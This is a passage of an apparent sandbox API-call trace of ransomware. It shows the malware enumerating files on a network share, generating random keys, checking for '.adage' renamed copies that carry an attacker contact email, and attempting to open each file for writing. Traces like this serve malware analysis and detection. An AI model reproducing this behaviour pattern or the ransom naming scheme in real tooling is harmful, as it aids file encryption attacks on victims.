0xffffffff [0048.319] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0048.319] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\BEWCWMGvP7.odp" (normalized: "\\\\192.168.0.1\\documents\\bewcwmgvp7.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0048.347] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=21172) returned 1 [0048.348] CloseHandle (hObject=0x14c) returned 1 [0048.348] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\BEWCWMGvP7.odp" (normalized: "\\\\192.168.0.1\\documents\\bewcwmgvp7.odp")) returned 0x80 [0048.349] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\BEWCWMGvP7.odp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\bewcwmgvp7.odp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0048.349] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\BEWCWMGvP7.odp" (normalized: "\\\\192.168.0.1\\documents\\bewcwmgvp7.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.599] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0048.599] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ERBbBrh6.mp3" (normalized: "\\\\192.168.0.1\\documents\\erbbbrh6.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0048.681] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=47090) returned 1 [0048.681] CloseHandle (hObject=0x14c) returned 1 [0048.681] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ERBbBrh6.mp3" (normalized: "\\\\192.168.0.1\\documents\\erbbbrh6.mp3")) returned 0x80 [0048.683] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ERBbBrh6.mp3.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\erbbbrh6.mp3.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0048.683] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ERBbBrh6.mp3" (normalized: "\\\\192.168.0.1\\documents\\erbbbrh6.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.743] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0048.743] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\t0dVU7jjqdjfnF7OmqO.png" (normalized: "\\\\192.168.0.1\\documents\\t0dvu7jjqdjfnf7omqo.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0048.811] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=63253) returned 1 [0048.811] CloseHandle (hObject=0x14c) returned 1 [0048.811] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\t0dVU7jjqdjfnF7OmqO.png" (normalized: "\\\\192.168.0.1\\documents\\t0dvu7jjqdjfnf7omqo.png")) returned 0x80 [0048.814] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\t0dVU7jjqdjfnF7OmqO.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\t0dvu7jjqdjfnf7omqo.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0048.816] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\t0dVU7jjqdjfnF7OmqO.png" (normalized: "\\\\192.168.0.1\\documents\\t0dvu7jjqdjfnf7omqo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.822] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0048.822] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\4DTakzSmlzvmIUv.mp3" (normalized: "\\\\192.168.0.1\\documents\\4dtakzsmlzvmiuv.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0048.836] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=97726) returned 1 [0048.837] CloseHandle (hObject=0x14c) returned 1 [0048.837] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\4DTakzSmlzvmIUv.mp3" (normalized: "\\\\192.168.0.1\\documents\\4dtakzsmlzvmiuv.mp3")) returned 0x80 [0048.841] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\4DTakzSmlzvmIUv.mp3.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\4dtakzsmlzvmiuv.mp3.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0048.841] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\4DTakzSmlzvmIUv.mp3" (normalized: "\\\\192.168.0.1\\documents\\4dtakzsmlzvmiuv.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.868] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0048.868] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\hzhCnO8TQqI.avi" (normalized: "\\\\192.168.0.1\\documents\\hzhcno8tqqi.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0048.913] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=81448) returned 1 [0048.913] CloseHandle (hObject=0x14c) returned 1 [0048.913] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\hzhCnO8TQqI.avi" (normalized: "\\\\192.168.0.1\\documents\\hzhcno8tqqi.avi")) returned 0x80 [0048.914] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\hzhCnO8TQqI.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\hzhcno8tqqi.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0048.914] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\hzhCnO8TQqI.avi" (normalized: "\\\\192.168.0.1\\documents\\hzhcno8tqqi.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.929] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0048.930] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\0fyyBWfRWm61u1MhJ.doc" (normalized: "\\\\192.168.0.1\\documents\\0fyybwfrwm61u1mhj.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0048.939] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=54959) returned 1 [0048.939] CloseHandle (hObject=0x14c) returned 1 [0048.939] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\0fyyBWfRWm61u1MhJ.doc" (normalized: "\\\\192.168.0.1\\documents\\0fyybwfrwm61u1mhj.doc")) returned 0x80 [0048.940] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\0fyyBWfRWm61u1MhJ.doc.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\0fyybwfrwm61u1mhj.doc.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0048.940] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\0fyyBWfRWm61u1MhJ.doc" (normalized: "\\\\192.168.0.1\\documents\\0fyybwfrwm61u1mhj.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.969] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0048.969] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\VQa7D2fVvyShxsM.xlsx" (normalized: "\\\\192.168.0.1\\documents\\vqa7d2fvvyshxsm.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0048.974] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=65775) returned 1 [0048.974] CloseHandle (hObject=0x14c) returned 1 [0048.977] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\VQa7D2fVvyShxsM.xlsx" (normalized: "\\\\192.168.0.1\\documents\\vqa7d2fvvyshxsm.xlsx")) returned 0x80 [0048.980] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\VQa7D2fVvyShxsM.xlsx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\vqa7d2fvvyshxsm.xlsx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0048.980] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\VQa7D2fVvyShxsM.xlsx" (normalized: "\\\\192.168.0.1\\documents\\vqa7d2fvvyshxsm.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.143] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0049.143] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\6614ZQjKlVVwMsRoTm.pdf" (normalized: "\\\\192.168.0.1\\documents\\6614zqjklvvwmsrotm.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0049.174] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=77768) returned 1 [0049.174] CloseHandle (hObject=0x14c) returned 1 [0049.175] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\6614ZQjKlVVwMsRoTm.pdf" (normalized: "\\\\192.168.0.1\\documents\\6614zqjklvvwmsrotm.pdf")) returned 0x80 [0049.176] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\6614ZQjKlVVwMsRoTm.pdf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\6614zqjklvvwmsrotm.pdf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0049.186] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\6614ZQjKlVVwMsRoTm.pdf" (normalized: "\\\\192.168.0.1\\documents\\6614zqjklvvwmsrotm.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.234] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0049.234] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\sWz45.xls" (normalized: "\\\\192.168.0.1\\documents\\swz45.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0049.706] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=60991) returned 1 [0049.708] CloseHandle (hObject=0x14c) returned 1 [0049.764] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\sWz45.xls" (normalized: "\\\\192.168.0.1\\documents\\swz45.xls")) returned 0x80 [0049.764] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\sWz45.xls.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\swz45.xls.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0049.765] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\sWz45.xls" (normalized: "\\\\192.168.0.1\\documents\\swz45.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.022] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0050.022] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NLSuxvhNNdJma1.ods" (normalized: "\\\\192.168.0.1\\documents\\nlsuxvhnndjma1.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0050.056] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=48332) returned 1 [0050.057] CloseHandle (hObject=0x14c) returned 1 [0050.057] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NLSuxvhNNdJma1.ods" (normalized: "\\\\192.168.0.1\\documents\\nlsuxvhnndjma1.ods")) returned 0x80 [0050.057] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NLSuxvhNNdJma1.ods.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\nlsuxvhnndjma1.ods.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.057] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NLSuxvhNNdJma1.ods" (normalized: "\\\\192.168.0.1\\documents\\nlsuxvhnndjma1.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.208] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0050.208] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\vwYDXw6oVEHN2plf7.xls" (normalized: "\\\\192.168.0.1\\documents\\vwydxw6ovehn2plf7.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0050.595] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=55786) returned 1 [0050.596] CloseHandle (hObject=0x14c) returned 1 [0050.596] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\vwYDXw6oVEHN2plf7.xls" (normalized: "\\\\192.168.0.1\\documents\\vwydxw6ovehn2plf7.xls")) returned 0x80 [0050.603] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\vwYDXw6oVEHN2plf7.xls.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\vwydxw6ovehn2plf7.xls.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0050.606] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\vwYDXw6oVEHN2plf7.xls" (normalized: "\\\\192.168.0.1\\documents\\vwydxw6ovehn2plf7.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0051.586] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0051.591] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\D5VR0w7cu20SVOPPmTeY.pdf" (normalized: "\\\\192.168.0.1\\documents\\d5vr0w7cu20svoppmtey.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0051.930] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=74128) returned 1 [0051.930] CloseHandle (hObject=0x14c) returned 1 [0051.930] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\D5VR0w7cu20SVOPPmTeY.pdf" (normalized: "\\\\192.168.0.1\\documents\\d5vr0w7cu20svoppmtey.pdf")) returned 0x80 [0051.931] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\D5VR0w7cu20SVOPPmTeY.pdf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\d5vr0w7cu20svoppmtey.pdf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0051.931] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\D5VR0w7cu20SVOPPmTeY.pdf" (normalized: "\\\\192.168.0.1\\documents\\d5vr0w7cu20svoppmtey.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.354] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0052.354] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SSGieDhFJl7c1ARWbn5.avi" (normalized: "\\\\192.168.0.1\\documents\\ssgiedhfjl7c1arwbn5.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0053.170] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=23908) returned 1 [0053.171] CloseHandle (hObject=0x14c) returned 1 [0053.171] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SSGieDhFJl7c1ARWbn5.avi" (normalized: "\\\\192.168.0.1\\documents\\ssgiedhfjl7c1arwbn5.avi")) returned 0x80 [0053.171] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SSGieDhFJl7c1ARWbn5.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ssgiedhfjl7c1arwbn5.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0053.768] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SSGieDhFJl7c1ARWbn5.avi" (normalized: "\\\\192.168.0.1\\documents\\ssgiedhfjl7c1arwbn5.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0054.226] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0054.226] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\wM2fuYVT5vb5rvE.avi" (normalized: "\\\\192.168.0.1\\documents\\wm2fuyvt5vb5rve.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x148 [0054.400] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=24898) returned 1 [0054.400] CloseHandle (hObject=0x148) returned 1 [0054.400] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\wM2fuYVT5vb5rvE.avi" (normalized: "\\\\192.168.0.1\\documents\\wm2fuyvt5vb5rve.avi")) returned 0x80 [0054.401] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\wM2fuYVT5vb5rvE.avi.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\wm2fuyvt5vb5rve.avi.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0054.661] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\wM2fuYVT5vb5rvE.avi" (normalized: "\\\\192.168.0.1\\documents\\wm2fuyvt5vb5rve.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.056] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0055.056] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Z0KtpLCKl6lOwI.csv" (normalized: "\\\\192.168.0.1\\documents\\z0ktplckl6lowi.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x148 [0055.097] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=83053) returned 1 [0055.097] CloseHandle (hObject=0x148) returned 1 [0055.098] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Z0KtpLCKl6lOwI.csv" (normalized: "\\\\192.168.0.1\\documents\\z0ktplckl6lowi.csv")) returned 0x80 [0055.098] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Z0KtpLCKl6lOwI.csv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\z0ktplckl6lowi.csv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.239] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\Z0KtpLCKl6lOwI.csv" (normalized: "\\\\192.168.0.1\\documents\\z0ktplckl6lowi.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.442] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0055.443] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\OU7w0ZlZCz.png" (normalized: "\\\\192.168.0.1\\documents\\ou7w0zlzcz.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x148 [0055.444] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=63340) returned 1 [0055.444] CloseHandle (hObject=0x148) returned 1 [0055.444] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\OU7w0ZlZCz.png" (normalized: "\\\\192.168.0.1\\documents\\ou7w0zlzcz.png")) returned 0x80 [0055.444] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\OU7w0ZlZCz.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ou7w0zlzcz.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.445] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\OU7w0ZlZCz.png" (normalized: "\\\\192.168.0.1\\documents\\ou7w0zlzcz.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.463] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0055.463] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\vHFD0HXkcrOt.ppt" (normalized: "\\\\192.168.0.1\\documents\\vhfd0hxkcrot.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x148 [0055.465] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=66141) returned 1 [0055.465] CloseHandle (hObject=0x148) returned 1 [0055.466] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\vHFD0HXkcrOt.ppt" (normalized: "\\\\192.168.0.1\\documents\\vhfd0hxkcrot.ppt")) returned 0x80 [0055.466] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\vHFD0HXkcrOt.ppt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\vhfd0hxkcrot.ppt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.471] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\vHFD0HXkcrOt.ppt" (normalized: "\\\\192.168.0.1\\documents\\vhfd0hxkcrot.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.475] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2c4ff30 | out: pbBuffer=0x2c4ff30) returned 1 [0055.475] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\U2QSFlSKH2V.jpg" (normalized: "\\\\192.168.0.1\\documents\\u2qsflskh2v.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x148 [0055.477] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2c4fec8 | out: lpFileSize=0x2c4fec8*=85777) returned 1 [0055.477] CloseHandle (hObject=0x148) returned 1 [0055.477] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\U2QSFlSKH2V.jpg" (normalized: "\\\\192.168.0.1\\documents\\u2qsflskh2v.jpg")) returned 0x80 [0055.477] GetFileAttributesW 